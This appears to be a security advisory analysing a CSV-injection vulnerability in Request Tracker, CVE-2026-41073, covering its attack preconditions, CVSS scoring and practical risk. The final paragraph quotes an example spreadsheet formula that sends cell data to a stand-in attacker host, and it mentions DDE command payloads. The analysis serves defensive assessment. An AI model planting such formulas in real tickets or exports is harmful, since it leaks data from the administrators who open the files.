Request Tracker CVE-2026-41073

The attacker must hold a valid RT user account with sufficient permission to create or modify tickets (PR:L - low-privileged authenticated user). Exploitation requires a second actor: a privileged user (administrator or staff member) must export ticket data containing the attacker's crafted payload to a CSV or spreadsheet file and then open that file in a spreadsheet application that evaluates formulas on load (e.g., Microsoft Excel, LibreOffice Calc, Google Sheets import with formula execution enabled). The UI:R requirement is a meaningful limiting factor - exploitation cannot be triggered remotely without this human action. Deployments where exports are consumed programmatically (e.g., piped into data pipelines that do not invoke a spreadsheet parser) are not exploitable. The vulnerability does not require any non-default RT configuration; the CSV export feature is standard.

The CVSS 4.6 (Medium) score reflects a genuinely constrained attack path: PR:L requires the attacker to hold a valid RT account, and UI:R means exploitation depends entirely on a privileged user exporting and opening a spreadsheet in a vulnerable application. The scope is unchanged (S:U), with only low confidentiality and integrity impact - consistent with the classic CSV injection outcome of arbitrary formula execution within the spreadsheet client rather than direct server compromise. No EPSS score was provided in the source data; without it, exploitation probability cannot be quantified. There is no CISA KEV listing and no public POC identified at time of analysis. Real-world risk is moderate: CSV exports are a routine, high-frequency workflow for RT administrators, making the triggering condition realistic despite requiring user interaction. Organizations where ticket data originates from external, untrusted submitters (e.g., public-facing helpdesks) face higher practical risk than internal-only deployments. The CVSS vector is consistent with the description - network-delivered payload, low-privilege submitter, privileged opener - and no conflicts between data sources were detected.

An external user submits a support ticket with a subject line or custom field value containing a crafted formula payload such as =HYPERLINK("http://attacker.example/"&A1,"Click") or a DDE command string. An RT administrator later exports open tickets to CSV for reporting and opens the file directly in Microsoft Excel, which evaluates the formula - potentially exfiltrating cell data to an attacker-controlled endpoint or prompting execution of a DDE command. No public POC has been identified, but the technique is well-documented in public research on CSV injection and requires no specialized tooling.